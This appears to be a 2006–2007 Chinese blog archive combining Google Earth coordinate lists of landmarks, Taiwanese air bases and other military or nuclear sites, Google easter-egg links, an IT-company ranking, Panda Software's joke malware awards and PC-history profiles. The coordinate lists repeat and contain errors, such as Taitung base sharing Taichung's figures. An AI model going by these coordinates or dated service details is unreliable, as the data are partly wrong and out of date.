    汉堡世界杯体育场: 53.5869222364,9.9012440719
    多特蒙德维斯特法伦体育场: 51.4927357971,7.45381528043
    盖尔森基奥夫沙尔克竞技场: 51.5537521117,7.06907863308
    凯泽斯劳滕沃尔特体育场: 49.4337693907,7.77715096552
    纽伦堡法兰克人体育场: 49.4259497861,11.1241851189
    斯图加特戈特利布戴姆勒体育场: 48.7931489667,9.23328332718
    莱比锡中央体育场(改建前): 51.3464198348,12.3509946539
    法兰克福森林体育场(改建前): 50.0696330234,8.64661484093

    文化篇

    胡夫金字塔: 29°58'33.22"N, 31°7'49.29"E
    古罗马大竞技场: 41°53'24.32"N,12°29'31.16"E
    英国的巨石阵: 51°10'44.32"N,1°49'43.38"W
    印加遗迹:马丘比丘: 13° 09'48.07"S,72°32'44.69"W
    香格里拉-松赞林寺(经文): 27°52'5.10"N, 99°41'52.20"E
    德国科隆大教堂: 50°56'29.57"N 6°57'30.58"E
    雅典-卫城: 37°58'18.87"N,23°43'32.81"E
    宛如龟甲-小田原城: 35°15'7.56"N,139° 9'12.81"E
    丰臣秀吉-大阪城: 34°41'16.16"N,135°31'29.36"E
    赤道雪-乞力马扎罗: 3° 3'53.24"S,37°20'56.85"E

    风景篇

    八达岭: 40°21'15.41"N,116°00'24.21"E
    凯旋门: 48°52'26.79"N,2°17'42.66"E
    凡尔赛宫: 48°48'17.76"N,2° 7'18.24"E
    巴黎圣母院: 48°51'11.39"N,2°20'56.95"E
    卢浮宫: 48°51'39.74"N,2°20'9.26"E
    巴黎埃菲尔铁塔: 48°51'29.54"N,2°17'40.19"E
    自由女神像: 40°41'21.48"N,74° 2'40.38"W
    世贸中心双子星大厦遗址: 40°42'42.19"N 74°00'44.45"W
    帝国大厦: 40°44'54.74"N 73°59'10.88"W
    红场和克里姆林: 55°45'08.86"N 37°37'23.05"E
    三峡 30°50'45"N 111°01'27"E
    泸定铁索桥 29°54'52.39"N 102°13'48.61"E

    奇趣篇

    比尔盖茨的豪宅: 47°37'37.71"N,122°14'33.26"W
    大标语“仗怎么打,兵怎么练!”: 43°45'19.10"N, 87°40'4.90"E
    老外也搞大标语"Go Wings!": 42°10'29.19"N, 83°11'41.36"W
    断桥: 25°55'46.42"N,80°7'49.58"W
    马戏团: 45°30'26.40"N 73°32'52.94"W
    大堡礁: Great Barrier Reef 18°21'04.58"S,146°47'58.81"E
    撞机事件: 51°52'17.78"N,0°34'0.13"W
    乍得超高分辨率绿洲: 15 17'54.35"n 19 25'46.38''e
    50米长的恐怖怪虫: 48°51'28.33N 10°12'18.66E
    一群河马: 28°19'18.43"s 32°24'30.16E
    大三角图案: 37°39'56.22"N116° 1'30.90"W

    台湾军事坐标
    Hsinchu AB(新竹空军基地) 第2(第499)战术战斗机联队 12,000 24° 49' 05" N 120° 56' 21" E
    Hualien AB(花莲空军基地) 第5(第401)战术战斗机联队 9,098 24° 01' 23" N 121° 37' 04" E
    Kangshan AB(冈山空军基地) 空军学院 7,500 22° 46' 54" N 120° 15' 43" E
    Kaohsiung Hsiao-kang Intl(高雄小港国际机场) 民用 10,335 22° 34' 31" N 120° 21' 02" E
    Lan Yu / orchid Island (兰屿) 机场 4,026 22° 01' 59" N 121° 32' 60" E
    Lungtang(龙塘) 小型民用机场 3,252 24° 51' 18" N 121° 14' 15" E
    Makung Airport(马公机场) 军用/民用 9,840 23° 34' 03" N 119° 37' 44" E
    Matsu Peigan Airport(马祖北竿机场) 机场    26° 13' 31" N 120° 00' 00" E

    Matsu South(马祖南竿机场) 机场    26° 09' 02" N 119° 57' 13" E
    Pa Kuei / Bakuai(八仙) 不详    24° 55' 59" N 121° 17' 60" E
    Penghu / Chimei(澎湖/七美屿) 小型民用机场 6,726 23° 31' 05" N 119° 35' 04" E
    Pingtung North (屏东北空军基地) 第439空军联队 8,000 22° 41' 43" N 120° 28' 40" E
    Pingtung South(屏东南空军基地) 第439空军联队 7,817 22° 40' 20" N 120° 27' 42" E
    Pratas Island(东沙岛)       4,921 20° 42' 15" N 116° 43' 14" E
    Shang Yi / Kinmen (上义/金门) 军用/民用 9,845 24° 25' 40" N 118° 21' 31" E
    Sungshan Taipei(台北松山机场) 军用/民用 8,546 25° 04' 10" N 121° 33' 09" E
    Ta Shan Ting(大山亭) 机场   24° 25' 04" N 118° 14' 27" E
    Taichung (台中空军基地) 军用 5,315 24° 11' 04" N 120° 39' 14" E
    Tainan (台南空军基地) 第1(第443)战术战斗机联队 10,007 22° 57' 01" N 120° 12' 20" E
    Taitung (台东空军基地) 第7(第737)战术战斗 5,315 24° 11' 04" N 120° 39' 14" E
    Taoyuan (桃园空军基地) 桃园司令部 10,044 25° 03' 20" N 121° 14' 33" E
    Tsoying(左营) 军用 3,500 22° 42' 16" N 120° 16' 48" E
    Wang An(望安) 小型民用机场 3,076 23° 22' 04" N 119° 30' 07" E
    可能用于基地导航的设施(无跑道)
    Chang Hua(彰化) 不详   24°04'59''N 120°31'59''E
    Chia Tung(佳桐) 不详   22°25'00''N 120°32'60''E
    Donggung(东港) 不详   22°28'00''N 120°25'59''E
    Dongshi(东石) 不详   23°16'00''N 119°40'00''E
    Huwei(虎尾) 不详   23°42'37''N 120°25'41''E
    Ilan(宜兰) 不详   24°45'00''N 121°46'00''E

    名胜古迹之类
    胡夫金字塔: 29°58'33.22"N, 31°7'49.29"E
    古罗马大竞技场: 41°53'24.32"N,12°29'31.16"E
    英国的巨石阵: 51°10'44.32"N,1°49'43.38"W
    印加遗迹:马丘比丘: 13° 09'48.07"S,72°32'44.69"W
    香格里拉-松赞林寺(经文): 27°52'5.10"N, 99°41'52.20"E
    德国科隆大教堂: 50°56'29.57"N 6°57'30.58"E
    雅典-卫城: 37°58'18.87"N,23°43'32.81"E
    宛如龟甲-小田原城: 35°15'7.56"N,139° 9'12.81"E
    丰臣秀吉-大阪城: 34°41'16.16"N,135°31'29.36"E
    赤道雪-乞力马扎罗: 3° 3'53.24"S,37°20'56.85"E
    八达岭: 40°21'15.41"N,116°00'24.21"E
    凯旋门: 48°52'26.79"N,2°17'42.66"E
    凡尔赛宫: 48°48'17.76"N,2° 7'18.24"E
    巴黎圣母院: 48°51'11.39"N,2°20'56.95"E
    卢浮宫: 48°51'39.74"N,2°20'9.26"E
    巴黎埃菲尔铁塔: 48°51'29.54"N,2°17'40.19"E
    自由女神像: 40°41'21.48"N,74° 2'40.38"W
    世贸中心双子星大厦遗址: 40°42'42.19"N 74°00'44.45"W
    帝国大厦: 40°44'54.74"N 73°59'10.88"W
    红场和克里姆林: 55°45'08.86"N 37°37'23.05"E
    三峡 30°50'45"N 111°01'27"E
    泸定铁索桥 29°54'52.39"N 102°13'48.61"E
    比尔盖茨的豪宅: 47°37'37.71"N,122°14'33.26"W
    大标语“仗怎么打,兵怎么练!”: 43°45'19.10"N, 87°40'4.90"E
    老外也搞大标语"Go Wings!": 42°10'29.19"N, 83°11'41.36"W
    断桥: 25°55'46.42"N,80°7'49.58"W
    马戏团: 45°30'26.40"N 73°32'52.94"W
    大堡礁: Great Barrier Reef 18°21'04.58"S,146°47'58.81"E
    撞机事件: 51°52'17.78"N,0°34'0.13"W
    乍得超高分辨率绿洲: 15 17'54.35"n 19 25'46.38''e
    50米长的KB怪虫: 48°51'28.33N 10°12'18.66E
    一群河马: 28°19'18.43"s 32°24'30.16E
    大三角图案: 37°39'56.22"N116° 1'30.90"W
    白宫: 38°53'23.90"N 77°00'32.60"W
    五角大楼: 38°52'15.39"N 77°03'22.02"W
    美国核设施: 37°50'38.81"N116°43'53.01"W
    戴维斯空军基地: 32°9'57.52"N,110°51'17.58"W
    北韩核反应堆: 40° 5'42.20"N,128°20'26.91"E
    怀特曼空军基地: 38°43'40.89"N 93°33'21.58"W
    俄国的核潜艇: 42.8689845164N, 132.517761198E
    俄国SU-27基地: 50°36'8.91"N 137° 4'47.63"E
    三亚虎头湾: 18 10'41.10"n 109 34'51.81"e

    1/15/2007

    GOOGLE的彩蛋--你知道么


    http://www.google.com/microsoft

    微软风格的入口

    http://www.google.com/mac

    MAC风格的入口

    http://www.google.com/linux

    Linux风格的入口

    http://www.google.com/bsd

    FreeBSD风格的入口


    Google有各种语言的版本,下面这些语言可能是在是稀罕了点儿

    http://www.google.com/intl/xx-klingon/

    克林冈语入口(没看过星际旅行吗?)

    http://www.google.com/intl/xx-bork/

    政治入口?

    http://www.google.com/intl/xx-elmer/

    宗教入口

    http://www.google.com/intl/xx-piglatin/

    小猪入口

    http://www.google.com/intl/xx-hacker/

    黑客专用入口

    Google里还有一个小小的彩蛋游戏,大家自己去看吧!

    http://www.google.com/Easter/feature_easter.html

    下面是一此更有用的彩蛋
    http://froogle.google.com/

    作用: 通过特殊的搜索引擎,你可以在网上找到你想购物的网站位置。以及你可以很方便的搜索出同类产品的价格。看看世界各地的商品价格,自己再买的时候心底有数多了把

    http://labs.google.com/gviewer.html

    作用:一个小玩具,适合那些连鼠标都懒得动的懒人。当你在google上找到了查询结果后,你可以使用google viewer让结果以自己定义的间隔时间来一条一条自动滚屏。

    http://labs.google.com/cgi-bin/webquotes

    作用:可以搜索出你要查询的内容在internet上被多少其他的网站引用过,可以让你知道internet上其他人对你要查询内容的观点,适合写论文和评论以及特殊用途人使用。

    http://labs.google.com/glossary

    作用:顾名思义了,就是一个查英语缩写语意的工具,google的词汇表

    http://labs1.google.com/gvs.html

    作用:给google打一个电话,说出你要查找的内容,然后google会把你要查询的结果显示出来。 给不识字的人用的?

    IT界十年最重要10家公司排行榜

    业界著名杂志《Network Computing》公布了本世纪最后十年中,IT界最重要的10个公司。

      该杂志说:“其中的一些公司的历史已经很悠久了,IBM成立时Yahoo创始人还没有出生呢!我们从中得到了这样的启示:每个行业都有老兵和新秀,每家公司都需要有向本行业的老大和对手挑战的勇气。同时我们相信,在从现在开始的未来十年中,这个名单中现有的一些名字仍将列在这个名单中,但也会有目前我们几乎没听说过的名字加入进来。在2010年来临的时候,谁将会成为新的微软和思科呢?如果我们知道的话,现在就不会还在做杂志业务了。

      回首过去的十年,我们曾经报道了这些公司经历的大小事件,要是我们有这些公司的股票那就更好了。”

      以下是十年来最有重要的10家公司名单

      1: 思科:无可争议,这个位置应该属于它,无论从公司的产品、技术、市场、销售,它都有显著的成就,而最突出的在于其对互联网建设和应用起到了至关重要的作用。

      2: 微软:无论你对它爱也好、恨也好,它在业界的地位和影响力是无可争议的。虽然微软是PC时代的霸主,但是当这个十年结束后,它已经发展成为信息系统里卓越的软件和服务提供商。它已经超越了一个软件公司。从人造卫星系统到有线电视,微软无所不在。

      3: IBM:IBM在这个排名里上上下下,但是从来没有跌出前10。在这个十年开始的时候,IBM的傲慢态度令人厌恶,但是十年快结束的时候,IBM停止了下降趋势,又重新获得了业界显著地位,并重获一些老客户的信任。IBM能够做到这些,其实很简单:将价值、技术革新、客户服务有效地结合。

      4: 英特尔:10年前在一个默默无闻的领域里起步,现在位列财富500强的第39位。年收入由39亿升到现在的290亿多美元,股票价格平均一年上扬48%。毫无疑问,英特尔已经成为半导体领域内的一龛神像。

      5: Sun:它可能还是个硅谷的乳臭未干的孩子。但是现在,Sun已经超过惠普、IBM成为Unix服务器界的领头羊。随着SPARC架构的发展,我们可以看到这个公司的未来。
      
      6: MCI通讯公司:多亏了这个公司,我们现在才有了选择长途通讯服务的自由。直到1984年,AT&T被拆,MCI才算出头。但是,1998年9月,MCI被WorldCom收购,组成了MCI WorldCom公司。虽然MCI已经成为回忆,但是它仍然值得我们回味。

      7: Oracle:它世界上最大的数据库公司和第二大的软件公司,它是数据库世界的国王,并且很难被别人超越。它的数据库产品在万维网上的大部分地方运行。

      8: Yahoo:说起来,它的野心并不大:Yahoo想成为每个互联网用户的起点和“家”。事实上,除了搜索,它为互联网的用户提供大部分他们需要的内容。更重要的是,它是众多.com公司中最早实现赢利的。

      9: 惠普:这个公司似乎向来坚持“品质上乘,很少炒作”的作风,惠普喜欢稳扎稳打。从计算器到企业服务器,它都有产品在为大家服务。其商业道德也值得称颂。现在惠普正与IBM和Sun在互联网时代展开一场白刃战。

      10: Novell:一眼看上去,把Nowell列在这里可能是个错误,但是看看它在这10年间,在死亡和复兴间的反复无常,看看它把分析师和客户们弄的毫无喘息吧。今天,Novell似乎又在垂死挣扎了,但是它仍然有许多具有历史意义的产品。
    12/24/2006

    2006病毒蠕虫和恶意软件大奖

    象以往一样,Panda Software今年年底又发布了一份年度名单,上榜的是那些本年度最有特色的恶意程序们。



  • 最有道德奖。这个奖项授予spyware Zcodec,这个程序会监视用户是否访问色情站点。这是一个简单方法,用来寻找频繁访问色情网站的人,进而可以向他们推送定制的广告。不过,也可能程序作者只是有窥阴癖而已。。。
  • 最烂求职信奖。蠕虫Eliles.A到处发送个人简历,甚至发到了受害者们的手机里。从这一点看,我们对他的就业前景不抱太大希望。
  • 第一标题党奖。耸人听闻的标题总是引起轰动,现在连病毒作者们也这么干了。这里面最过分的就是Nuwar.A病毒,它宣布了第三次世界大战爆发。
  • 最顽强奖。人们总说再好的东西吃多了也会腻,不过很显然蠕虫Spamta家族的作者们从没听过这句话,否则他们早就应该停止一波又一波的散发他们那些代码基本相同的变种蠕虫了。
  • 最强竞争力奖。Spyware Popuper只要侵入一台机器,就会在其上运行一份盗版知名杀毒软件,是用来清除机器上和自己竞争的其他恶意软件。看来统治权力的竞争已经蔓延到恶意软件世界了。
  • 最勤奋奖。一般情况下,钓鱼信件主要用来收集机密信息,比如信用卡号码或者帐户存取信息,以便盗取受害者的钱财。但是,对 BarcPhish.HTML来说就没这么简单了,它做的更加过分,收集范围包括过期日期,信用卡校验数据,姓名,会员号,邮政编码,帐号等等。毋庸置疑,这个作者肯定相信多多益善的说法。
  • 最BT偷窥者奖。这个奖的获得者除了WebMic.A外基本上没有其他选择。这个恶意程序通过连在电脑上的麦克和摄像头记录声音和画面,当然都是在不通知你的情况下。
  • 最恶作剧奖。蠕虫Nebro.B看起来在入侵一台电脑后很无聊。因为这个原因它决定去修改程序图标,阻止访问工具软件,隐藏文件扩展名,删除开始菜单里的选项。。。尽量制造混乱。这么做也许能制造些乐子,不过肯定不是为那些受害者。
  • 最纯洁奖。很多通过P2P网络扩散的恶意程序都会取一个有诱惑性的名字,来诱使受害者把文件下载到他们的机器里。所以这些程序的名字基本上都有色情的含义。但是FormShared.A是个例外,它可以随机从37000个文件名中选择一个,可是其中没有任何一个名字和sex有关。
  • 最过时奖。看起来还有一些怀旧的病毒作者存在。病毒DarkFloppy.A的作者看起来就从来没听说过e-mail,即时消息软件,P2P软件之类的东西,所以他选择扩散病毒的方式是。。。软盘。这么做恐怕没什么大规模传染的可能吧?
  • 最多元化奖。这个奖项众望所归得授予了Gatt.A,这个恶意程序可以入侵很多平台Windows,Linux等等。
  • 最不老实奖。SafetyBar看起来像是提供安全信息和安全软件下载的。实际上你只要装上之后,它就不停的警告你有攻击,实际上这些攻击根本不存在
  • 12/8/2006

    史上最强!PC时代的20位英雄

          回首PC20年,它的历史就是一部英雄的历史,一个个闪亮的名字,就像一颗颗璀璨的星星,为人羡慕、令人敬仰;他们对PC业的兴起,对计算机技术的繁荣,对人类的贡献是我们不应忘记的。当本文重现历史的一幕幕时,我们会看到什么?无疑,其中有光辉与荣耀,有财富与成就,当然,也有遗憾与悲怆……

      电脑始祖
      冯·诺依曼(John Von Neuman)凭他的天才和敏锐,在电脑初创期,高屋建瓴地提出了现代计算机的理论基础,从而规范和决定了电脑的发展方向。时至今日,我们所有的电脑又都叫“冯·诺依曼机器”,就是对这位数学天才最好的评价。
      对于冯·诺依曼来说,人类第一台电脑造了一半时才参与开发,多少有些遗憾。但是,他刚好在那大机器程序存储问题无法解决的关键时刻出现,这使得冯·诺依曼的天才得到淋漓尽致的发挥。他明确指出:一定要彻底实现程序由外存储向内存储的转化,原有的设计必须作修改,经费不够再追加。在冯·诺依曼的影响下,整个研制工作取得了突破性的进展。冯·诺依曼提出了新的改进方案:一是用二进制代替十进制,进一步提高电子元件的运算速度;二是存储程序(Stored Program),即把程序放在计算机内部的存储器中,换言之,把能进行数据处理的程序放在数据处理系统内部,程序和该程序处理的数据用同样的方式储存,即把程序本身当作数据来对待。冯·诺依曼的改进方案被称为“爱达法克”(EDVAC),即离散变量自动电子计算机(Electronic Diserete Variable Computer)的简称。
      1945年6月,他写了一篇题为《关于离散变量自动电子计算机的草案》的论文,第一次提出了在数字计算机内部的存储器中存放程序的概念(Stored Program Concept),这是所有现代电子计算机的范式,被称为“冯·诺依曼结构”。按这一结构建造的电脑称为存储程序计算机(Stored Program Computer),又称为通用计算机。时至今日,所有的电脑都逃脱不了冯·诺依曼的掌心,我们所有的电脑,都有一个共同的名字,叫“冯·诺依曼机器”,它超越了品牌、国界、速度和岁月。

      摩尔定律
      当人们不断追逐新款PC时,殊不知这后面有一只无形的大手在推动,那就是摩尔定律,而这著名定律的发明人就是高登·摩尔(Gordon Moore)。
      1965年的一天,摩尔顺手拿了把尺子和一张纸,画了一张草图,纵坐标代表不断发展的集成电路,横坐标是时间。他在月份上逐个描点,得到一幅增长的曲线图。这条曲线显示出每24个月,集成电路由于内部晶体管数量的几何级数的增长,而使性能几乎翻倍提高,同时集成电路的价格也恰好减少一倍。后来高登·摩尔把时间调整为18个月。摩尔是在集成电路技术的早期作出结论的,那时候,超大规模集成电路技术还远未出现,所以他在1965年的预言并未引起世人的注意。
      高登·摩尔的另一壮举是在1968年与罗伯特·诺伊斯带头“造反”,率领一群工程师离开仙童公司,成立了一家叫集成电子的公司,简称“Intel”,这就是今日名震世界的英特尔公司。

      预言大师
      凯的形象既不像傲慢自大、反潮流的黑客,也不同于一夜暴富的计算机富翁,更不像象牙塔里的计算机科学家。他时常穿着跑鞋和灯芯绒裤子,一小撮胡子,短短的、略微零乱的头发,使他看上去极为普通。即使他是你的老板,可能也不会给你留下多深的印象。但这也不是说他很谦逊,他喜欢引用自己的话,且经常以这样的词作为发言的开端:“凯的第一法则指出……”。
      阿伦·凯(Alan Kay)不是一位公众人物,但在计算机界,尤其是技术圈内,他是能让大家都心服口服屈指可数的大师之一。成为硅谷的又一位亿万富翁或让他当麻省理工的院长,都无法激起他的兴奋,但他会有足够的耐性与一群8岁左右的孩子一起玩电脑。他最大的乐趣就是发明他喜欢的东西。
      阿伦·凯是Smalltalk面向对象编程环境语言的发明人之一,也是面向对象编程思想的创始人之一,同时,他还是笔记本电脑最早的构想者和现代Windows GUI的建筑师。
      近年来有一句话挺流行:“预测未来的最好办法,就是把它创造出来。”不少人误以为此言出自尼葛洛庞帝之口,实际上,这句话是阿伦·凯的名言。有很多人说布兰德是第一个使用PC一词的人,但布兰德说自己也是顺手牵羊,最早提出“PC”概念的就是阿伦·凯。20世纪90年代程序员设计的基本模式就是“面向对象”,发明这一术语的也是阿伦·凯。在20世纪70年代的一份备忘录上,阿伦·凯还正确预言到,“20世纪90年代将有成百万的个人计算机,而且都将连接到全球公用的信息设施上”,这不正是今天的互联网吗?

      集成电路之父
      硅谷是传奇人士扎堆之地。但是一个人要想在硅谷同时获得财富、威望和成就,实在比登天还难。举目远眺大概只有罗伯特·诺伊斯(Robort Noyce)才是惟一一位三位于一体式的人物。
      作为集成电路的发明者,诺伊斯在科学史上已名垂青史,这个具有划时代意义的发明促成了历史的大转折。而且他还与别人共同创办了两家硅谷最伟大的公司,第一家是半导体工业的摇篮——仙童(Fairchild)公司,这已成为历史;第二家则仍跻身美国最大的公司之列,这就是英特尔公司。他带着特有的神圣和威严,让同行和对手都得永远敬仰。以尖刻著称的硅谷杂志《Upside》敢对硅谷任何一位大腕儿进行任何刺激,但对诺伊斯却只能毕恭毕敬,在诺伊斯去世前几天的采访录,甚至成为杂志社经常炫耀的一种荣光。
      在仙童,诺伊斯最大的成就是发明了集成电路。当基尔比在德州仪器用锗晶片研制集成电路时,诺伊斯和摩尔已把眼光直接盯住了硅晶片,因为硅的商业前景要远远超出锗。1959年2月,诺伊斯为“微型电路”申请了专利,但没有为他用平面处理技术制造的集成电路申请专利,直到同年7月才补全了这一手续。而此前德州仪器公司已宣布生产集成电路的产品,该公司的基尔比拥有第一个专利,但他的设计不实际,而诺伊斯则是第二个提出该专利的人。于是整个60年代,仙童和德仪相互控告,最后法庭将集成电路的发明专利授予了基尔比,而将关键的内部连接技术专利授予诺伊斯。诺伊斯的专利使仙童公司在沉闷的70年代得以存活下来,这一时期的仙童成为硅谷最具神话色彩的历史。
      当然诺伊斯成就的最高峰还是英特尔公司,他与高登·摩尔和安迪·葛鲁夫一同创业,而且构建了业界极为罕见、完美和谐的三人“执政”局面。三人的合作只能说是天作之合,缺任何一位可能都会让英特尔历史大幅改写。诺伊斯自然是最耀眼的人物,传奇式的发明家、仙童公司的总经理和半导体业的“政治家”,他是英特尔公司的“脸面”。而甘于默默无闻的高登·摩尔则是公司的“心脏”,没有摩尔,英特尔不可能有足够的力量和士气;而没有强硬的葛鲁夫,英特尔甚至不会成为一家著名的大公司。

      微处理器之父
      1971年1月,第一个可以运转的微处理器诞生了,定名为“4004型”。其中,第一个“4”是指以4位为单位的设计思想,后一个“4”是指由英特尔制造的第4种专用芯片,而它的发明人就是特德·霍夫。霍夫认为自己占了天时和地利之便:“如果我们没有在1971年发明4004微处理器,那么别人也会在一两年里发明它。”
      在普遍认为大型机才是大有可为的时代,霍夫另辟蹊径,投入到微处理器的研制中。霍夫说服了刚从仙童公司跳槽的斯坦·麦卓尔与他合作,共同设计了一种比4004型更强大的微处理器,称为“8008型”,这是第一个真正意义的微处理器。
      1973年8月,“8080型”微处理器问世,它首次使用了MOS(金属氧化物半导体)工艺,成为有史以来最成功的微处理器之一,这也是第一个通用微处理器,是20世纪最后25年里一项具有划时代意义的发明。
      著名的《经济学家》杂志将霍夫称作是“第二次大战以来最有影响的7位科学家之一”。1978年,他被提升为英特尔研究员(至今一共只有两个人获得过类似的称号),这意味着他在研究方面具有很大的自主权。
      在评价微处理器和PC时,霍夫说:“我对微处理器在个人计算机中的应用感到非常惊讶,我也没有想到人们会仅仅为了业余的爱好而买微机。随着影像游戏机的发展,个人计算机成为人们又一种娱乐工具,任何一位发明家如果能够创造出什么来提供给人们娱乐,他就能获得成功。”
     
      PC之父
      创造出世界上第一台微电脑的殊荣,现在一般都归到爱德华·罗伯茨(Edward Roberts)身上。
      罗伯茨是位电脑爱好者,1974年,罗伯茨决定利用8080微处理器装配一种供黑客试验的计算机,《大众电子》杂志为寻找独家新闻,主动上门观看了罗伯茨的设计方案,之后决定让他制成一台原型机,由杂志社在封面予以报道。
      1975年1月,《大众电子》封面刊出一台很小的计算机照片,大字标题写着:“世界上第一组堪与商业机相媲美的以成套形式提供的小型计算机——牛郎星8800”。根据杂志的介绍,“牛郎星”勉勉强强算是一台电脑,在金属制成的小盒内,罗伯茨装进两块集成电路,一块即8080微处理芯片,另一块是存储器芯片。既没有可输入数据的键盘,也没有显示计算结果的“面孔”。插上电源后,使用者需要用手按下面板上的8个开关,把二进制数“0”或“1”输进机器。计算完成后,面板上的几排小灯泡忽明忽灭,就像军舰上用灯光发信号那样表示输出的结果。
      就是这样一个简单的装置,却引发了大地震。罗伯茨的“牛郎星”电脑问世后,美国出现了一个电脑业余爱好者购买散件、在家庭车库内组装微电脑的热潮。 尽管“牛郎星”十分原始,但它把计算机发展到大型机时代料想不到的辉煌阶段。

      商用软件之父
      个人电脑的真正飓风是由AppleⅡ刮起的,而AppleⅡ成功的重要推进器就是VisiCalc电子表格软件。因为售价3000美元的AppleⅡ对家庭并没有多少吸引力,但配备了电子表格的AppleⅡ,就足以让人们把VisiCalc作为惟一的理由而购买它。从某种意义上说,AppleⅡ就是一台VisiCalc机器。  
      VisiCalc的发明人就是丹·布莱克林(Dan Bricklin)。1973年毕业后,布莱克林进入DEC,与他人合作编制了DEC的第一个字处理软件WPS-8。26岁时,布莱克林进入哈佛商学院寻求新的职业生涯,他在哈佛的分时计算机系统上用BASIC编写软件,进行财务计算。当时他常遇到的问题是,对不同的题目必须重新编写程序,于是他便开始思考能否用一种通用的计算模式来解决该问题。布莱克林用一个周末的时间粗粗地做出了一个演示版本。虽然这个演示版本是用BASIC写成的,速度很慢,而且行列只能添满一屏,但它已经具备电子表格的许多基本功能,此时已是1978年初。由于AppleⅡ等个人电脑产品的问世,布莱克林和麻省理工的老朋友富兰克斯顿一起合作,成立了软件艺术公司(SA),决定为AppleⅡ开发VisiCalc,发行商是丹·弗莱斯特拉的公司叫Personal软件公司(PS),可以说这是最早的微机应用软件公司。
      电子表格VisiCalc的出现将PC从业余爱好者手中的玩具变成了炙手可热的商业工具,独立地改变了PC业的发展方向。布莱克林创造的不仅仅是一个产品、一家公司,而是整个软件产业。VisiCalc引发了真正的PC革命,它极大地激励了软件开发者,并从此宣告了PC商用化的到来。

      IBM PC之父
      如果说个人电脑之火是由苹果引燃的,那么IBM的介入,才真正将这场大火燃遍全球,热度持续近20年而不减。而缔造IBM PC的,就是颇富个人魅力的唐·埃斯特利奇。
      1980年中,IBM召集高层咨询会议,要对如火如荼的个人电脑浪潮作出应对。这时实验室主任洛伊站起来,提议打破常规,秘密组织一个精干小组,在一年内搞出PC来。 洛伊仅挑选了12名最优秀的工程师来演绎一段类似苹果公司经历过的传奇故事,担当这个名为“西洋棋”项目的负责人就是埃斯特利奇。以往,埃斯特利奇在工作上被认为“极不合作”,不听别人使唤,只凭自己的意思行事。而这种不合群的态度,正适合IBM PC计划,洛伊将它交给埃斯特利奇,事实证明这个选择十分英明。
      1981年8月12日,IBM PC如人们预想的那样跨进了PC业,没有人惊奇和兴奋,因为要等一段时间,人们才真正明白PC时代的开始。在第一台PC发布前几个月,埃斯特利奇还着手下一代产品——PC XT的开发。XT的推出,再次把IBM推到PC科技的最前端,XT疯狂畅销,使IBM一举占有企业PC市场的75%。同时埃斯特利奇还启动另一计划,以PC攻打家庭市场,但推出时间太晚,错过了圣诞销售旺季,后来这个产品无疾而终。1982年,埃斯特利奇开始着手下一个大计划,即生产真正强劲的AT机。AT机象征着IBM是惟一能使用80286处理器的厂商。1984年 8月,AT机推出好几个月后,竞争对手才推出AT级产品。1984年, IBM PC的收入已达到40亿美元,这意味着光是PC一个部门就可以在美国工业公司中排名第74位,并可名列美国第三大计算机公司,仅次于IBM自己和DEC。埃斯特利奇还安排了一个争议性的计划,让经销商销售个人电脑,这是IBM产品第一次由非IBM业务代表的人销售, 从而开拓了电脑分销的先河。
      1985年8月2日埃斯特利奇终于带着太太,去渡公司承诺已久的假期。两人乘坐的191航班试图在暴风雨中降落到达拉斯机场时,飞机失控,埃斯特利奇和太太玛丽不幸丧生。虽然他的生命结束于不幸的飞行事故,但打开昨日的篇章,历史永远会承认一个真正有贡献的人。

      PC软件先锋
      加里·基尔达尔被称为PC软件的开拓者,因为正是他打开了微处理器和微电脑之间的通道,在PC革命英特尔公司锋利的弹片中,有着基尔达尔历史性的贡献。
      加里·基尔达尔敏锐地发现,4004微处理器可以用来编制程序,基尔达尔突然想到:“能不能在这里编制电脑的程序呢?”,这想法诞生了微程序(Microprogram)设计。基尔达尔在DEC公司的PDP-10小型机上为英特尔4004微处理器创建新的“微语言”后,英特尔马上聘请基尔达尔做技术顾问。在基尔达尔的主持下,创建了在个人电脑史上革命性的微处理程序设计语言PL/M(Programing language for Microprocessor)。这一新的语言随着Intel 8008、8080微处理器的进展,对个人电脑的革命起着巨大的推动作用。如果没有基尔达尔这一贡献,英特尔的微处理器肯定还会在计算器里“沉沦”许久,PL/M语言与Intel、Zilog、Motorola微处理器的结合,在70年代末,终于使微机的性能能同60年代的大型机和小型机相媲美。
      另外,基尔达尔还是第一个光盘(CD-ROM)驱动程序的编写者,也是图形用户界面的先驱,当时还没有GUI(Graphic User Interface)的说法,基尔达尔把它叫做“图形环境管理员(Graphic Enviroment Manager)”。

      电脑奇才
      恩格尔巴特(Doug Engelbart)是电脑界的一位奇才,被称为“人机交互”领域里的大师。从20世纪60年代初期开始,他在人机交互方面做出了许多开创性的贡献,共发表论文30余篇,拥有20余项发明专利。世界上第一个电子邮件系统(E-Mail)、文字处理系统、在线呼叫集成系统和超文本链接都出自他之手。另外,他还发明了电脑显示器上的多重视窗、共享屏幕的电视会议、新的电脑交互输入设备等等。在恩格尔巴特的众多发明中,人们最熟悉的就是电脑上用的鼠标。1963年,美国国家专利局批准恩格尔巴特几年前提交的一份申请,确认一种叫“搜寻点击”的输入装置是一项独创的技术。在英语中,mouse有老鼠的意思,因此“搜寻点击”装置又被称为鼠标。1968年,恩格尔巴特应邀参加在旧金山举行的一次电脑会议,在会上,他拿出了许多令人吃惊的绝活:视窗(Windows)、超媒体(Supermedia)、群件(Groupware),还有鼠标,这也是鼠标第一次作为“搜寻工具”公开亮相。
     
      MS-DOS之父
      谁都知道MS-DOS是美国微软公司的产品,而且正是MS-DOS使微软公司实现了从一个不知名的软件开发公司到全球软件巨头的第一次飞跃。MS-DOS曾是微软公司的拳头产品,长期统治着个人电脑操作系统市场。虽然现在的微软“视窗”已经成为新一代PC操作系统霸主,但MS-DOS对业界的功劳仍不可磨灭。不过MS-DOS的真正主人蒂姆·帕特森的名字可能并不为每个人所知道。
      帕特森在西雅图电脑制造公司任副总裁时,自己动手花了半年时间成功地推出了自己的操作系统,命名为SCP-DOS,本意为“快而粗糙的磁盘操作系统”,这个SCP-DOS便是现在DOS的前身。SCP-DOS推出之后,应用效果不错,但也曾被数据研究公司指责剽窃了他们当时颇受欢迎的CP/M操作系统。这两个操作系统确实有相似之处,不过 SCP-DOS在储存数据、组织文件等方面与CP/M有极大的不同。那么后来SCP-DOS如何成为MS-DOS呢?这还得从IBM的“西洋棋方案”说起。
